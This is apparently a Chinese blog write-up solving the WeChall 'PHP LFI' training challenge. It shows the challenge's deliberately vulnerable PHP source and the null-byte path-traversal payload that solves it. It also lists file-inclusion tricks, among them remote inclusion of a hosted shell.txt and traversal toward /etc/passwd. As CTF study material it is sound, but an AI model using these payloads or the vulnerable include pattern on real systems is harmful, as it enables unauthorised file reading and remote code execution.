原谅我直接贴代码–,我发现学习语言的最好方式是读别人的代码,然后自己查函数,用函数。
<?php
# Higlighter Plain
if (isset($_GET['show']) && $_GET['show'] === 'source')
{
header('Content-Type: text/plain; charset=utf8;');
echo file_get_contents('index.php');
die();
}
# Change dir to web root
chdir('../../../../../');
# Print the website header
define('GWF_PAGE_TITLE', 'Local File Inclusion');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle('Training: PHP LFI'))) {
$chall = WC_Challenge::dummyChallenge('Training: PHP LFI', 2, 'challenge/training/php/lfi/up/index.php', false);
}
$chall->showHeader();
# Highlighter BBCode
if (isset($_GET['highlight']) && $_GET['highlight'] === 'christmas')
{
echo GWF_Message::display('[PHP]'.file_get_contents($_SERVER['SCRIPT_FILENAME']).'');
require_once('challenge/html_foot.php');
return;
}
###############################
### Here is your exploit :) ###
###############################
$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';';
$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for PHP>=5.3.4
$code2 = 'include $filename;';
### End of exploit ###
# Show the mission box
$url = 'index.php?file=';
$ex = array('welcome', 'news', 'forums');
$showsrc1 = 'index.php?show=source';
$showsrc2 = 'index.php?highlight=christmas';
foreach ($ex as $i => $e) { $ex[$i] = htmlspecialchars($url.$e); }
echo GWF_Box::box($chall->lang('info', array(GWF_Message::display('[PHP]'.$code.PHP_EOL.$code2.''), '../solution.php', $showsrc1, $showsrc2, $ex[0], $ex[1], $ex[2])), $chall->lang('title'));
# Execute the code, using eval.
GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);
eval($code.$code_emulate_pnb); # eval the first line
echo '<div class="box">'.PHP_EOL;
echo '<div class="box_t">'.$chall->lang('example_title').' ('.htmlspecialchars($filename).')'.'</div>'.PHP_EOL;
echo '<div class="box_c">'.PHP_EOL;
if (lfiIsSafeDir($filename) === true) { eval($code2); } # Eval the second line, when safe.
else { echo GWF_HTML::error('LFI', $chall->lang('err_basedir'), false); }
echo '</div>'.PHP_EOL;
echo '</div>'.PHP_EOL;
GWF_Debug::setMailOnError(true);
GWF_Debug::setDieOnError(true);
# Show credits box
if (false !== ($minus = GWF_User::getByName('minus')))
{
echo GWF_Box::box($chall->lang('credits', array($minus->displayProfileLink())));
}
# Show end of website
echo $chall->copyrightFooter();
require_once('challenge/html_foot.php');
### Safety first ###
function lfiIsSafeDir($filename)
{
$valid = array(
'pages',
'pages/../..',
'pages/..',
);
$d = dirname($filename);
return in_array($d, $valid, true);
}
?>
其实可以分析一下,如果在源码中没有给出exploit的提示,让自己去审计,如何发现LFI的漏洞?
顺序看下来,chdir进入了根目录,包含了几个头文件,应该是这个题目必要的文件。然后就包含本地的其他文件,主要代码是:
$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';';
$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for PHP>=5.3.4
$code2 = 'include $filename;';
随后用eval()函数执行了第一局和第二句代码
eval($code.$code_emulate_pnb);
继续看的话可以看到用htmlspecialchars函数对filename变量进行了转义,但是对这个道题目没有任何影响。继续看,发现了
if (lfiIsSafeDir($filename) === true) { eval($code2); } # Eval the second line, when safe.
用中国话讲,如果这个$filename是安全的,就执行包含的动作,那怎么是安全的呢?
function lfiIsSafeDir($filename)
{
$valid = array(
'pages',
'pages/../..',
'pages/..',
);
$d = dirname($filename);
return in_array($d, $valid, true);
}
?>
可以看到,这个函数判断了,如果filename的路径中存在$vaild数组的一个,就返回true了,本来还想的怎么去添加这个路径,后来发现语句中自己给出来了–,真是为了做题而做题,哈哈
so?
index.php?file=../solution.php
然而发现貌似不可以,原来语句中默认在后面加了.html,所以要进行截断,这里使用%00截断,so?
index.php?file=../solution.php%00
还是不行,中间想了其他的办法,也没用,后来还是看别人的做的答案了[捂脸]
有点崩溃,原来是在上级目录
so!
index.php?file=../../solution.php%00
做题不是目的,还是要总结一下的:
文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分。
allow_url_fopen:本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。
allow_url_fopen的配置范围是PHP_INI_SYSTEM,在 PHP <= 4.3.4 时是 PHP_INI_ALL。PHP 4.0.4 版以后可用。
Note:出于安全性考虑,此选项只能在 php.ini 中设置。
在php4.3.0之前,include,include_once, require,require_once 和GD 和图像处理 函数中的 imagecreatefromXXX 函数不支持远程文件访问。
在php4.3.0之后,引进了allow_url_include,要使用这个参数需要allow_url_fopen也开启。如果这两个选项都开启了,可能会有文件远程包含的漏洞。否则,可能会有本地包含漏洞。
(如果需要截断:
<1>在magic_quote_gpc为off的情况下,用%00
http://127.0.0.1/include.php?dir=shell.txt%00
<2>远程文件包含的时候,可以用?截断
http://127.0.0.1/include.php?dir=http://127.0.0.1/shell.txt?
http://127.0.0.1/include.php?dir=http://127.0.0.1/shell.txt%23
<3>通常Windows的截断长度为240,Linux的截断长度为4096。由于Windows和Linux的文件名都有一个最大路径长度(MAX_PATH)的限制,因此当提交文件名的长度超过了最大路劲长度限制是就会截断后面的内容,从而达到文件包含的效果。
<4>在magic_quote_gpc为Off的情况下,仅限windowns服务器可以用点号截断,比如:
http://127.0.0.1/include.php?dir=../../../../ect/passwd……………………………………………………………………[so many.]
)
这些都是基础的,还有用到伪协议(php://input 和 data:)的,忘不了的那次CTF!
%00截断
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态